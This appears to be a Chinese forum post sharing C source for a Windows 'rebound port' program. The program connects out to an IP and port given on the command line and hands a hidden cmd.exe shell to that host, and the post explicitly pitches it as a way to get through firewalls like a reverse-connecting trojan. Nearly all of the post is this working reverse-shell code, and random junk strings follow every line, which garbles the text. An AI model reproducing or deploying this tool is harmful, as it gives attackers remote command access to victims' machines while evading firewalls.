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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iut`7  
/v095H@  
/* ============================== !L5jj#0  
Rebound port in Windows NT A?TBtAe  
By wind,2006/7 k`".  
===============================*/ :V)lbn\  
#include B12$I:x`  
#include 5>6PH+Oq  
Iqs+r?  
#pragma comment(lib,"wsock32.lib") xoB},Xl$D  
k%[3Q>5iM  
void OutputShell(); xUF_1hY  
SOCKET sClient; %AF5=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ld^GV   
R{,ooxH\J  
void main(int argc,char **argv) tweY'x.{  
{ BQ^H? jo  
WSADATA stWsaData; JO14KY*%  
int nRet; 7^} Ll@  
SOCKADDR_IN stSaiClient,stSaiServer; /S:F)MO9  
EL3|u64GO  
if(argc != 3) p2PY@d}}.  
{ q.Nweu!jQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); tU"raP^ =  
return; * y^OV_n-8  
} Cw5%\K$=  
R~bC,`Bh  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZxGP/D  
)hwV`2>l  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `ovtHl3Q  
$ _8g8r}  
stSaiClient.sin_family = AF_INET; <"o"z2  
stSaiClient.sin_port = htons(0); hO{cvHy`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _wb0'xoK"  
93[DAs  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k {-  
{ k\Q ,h75  
printf("Bind Socket Failed!\n"); SM[Bv9|0  
return; HxK$4I`  
} 9*6]&:fm  
\qsw"B*tv`  
stSaiServer.sin_family = AF_INET; L]a`"CH:a$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TEUY3z[g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KlK`;cr?  
\3Oij^l 0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G ;?qWB,  
{  Lw1T 4n  
printf("Connect Error!"); }awzO#  
return; ? _\$  
} (3\Xy   
OutputShell(); 7dihVvL $  
} QbhW!9(,  
DaNW~rd{  
void OutputShell() wo5ZxM  
{ ^s\3/z>b4!  
char szBuff[1024]; qdCWy  
SECURITY_ATTRIBUTES stSecurityAttributes; 9Qj2W  
OSVERSIONINFO stOsversionInfo; wLuv6\E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {|9}+ @5Q1  
STARTUPINFO stStartupInfo; 59(U`X  
char *szShell; QD{:vG g  
PROCESS_INFORMATION stProcessInformation; `h;k2Se5  
unsigned long lBytesRead; 9^P2I)aD  
! BU)K'mj  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Kex[ >L10G  
0ZAj=u@O  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g|PC$p-z+  
stSecurityAttributes.lpSecurityDescriptor = 0; 0f ER*.F  
stSecurityAttributes.bInheritHandle = TRUE; 8 l/[(] &  
1|,Pq9  
gG54:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  Gt9wR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^SEdA=!  
SEKN|YQV/t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mzL[/B#>M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]O:M$ $  
stStartupInfo.wShowWindow = SW_HIDE; L{ gE'jCC  
stStartupInfo.hStdInput = hReadPipe; {u7##Vrgt8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $ &5w\P  
4dH}g~[P9  
GetVersionEx(&stOsversionInfo); T+"f]v  
$awi>#[  
switch(stOsversionInfo.dwPlatformId) 1;u4X`8  
{ 8U~.\`H-PT  
case 1: yI:# |w|  
szShell = "command.com"; B~r}c4R{7  
break;  ]^"k8v/  
default: x:K?\<  
szShell = "cmd.exe"; >L((2wfiN  
break; xu%'GZ,o9  
} KB{RU'?f|  
j'Y / H5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ex@`O+  
)tZ`K |  
send(sClient,szMsg,77,0); 3bC yTZk  
while(1) <*'cf2Q$Av  
{ @%tXFizh  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q5 &Ci`  
if(lBytesRead) PW}OU9is  
{ f F?6j   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +R$?2  
send(sClient,szBuff,lBytesRead,0); #?} 6t~  
} ed~R>F>  
else &j u-  
{ ,W5.:0Y;f[  
lBytesRead=recv(sClient,szBuff,1024,0); c $;\i  
if(lBytesRead<=0) break; TmEY W<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y93k_iq$S  
} U/MFhD(06  
} ateUpGM QU  
aP~gaSx  
return; <2Y0{ 8)  
}
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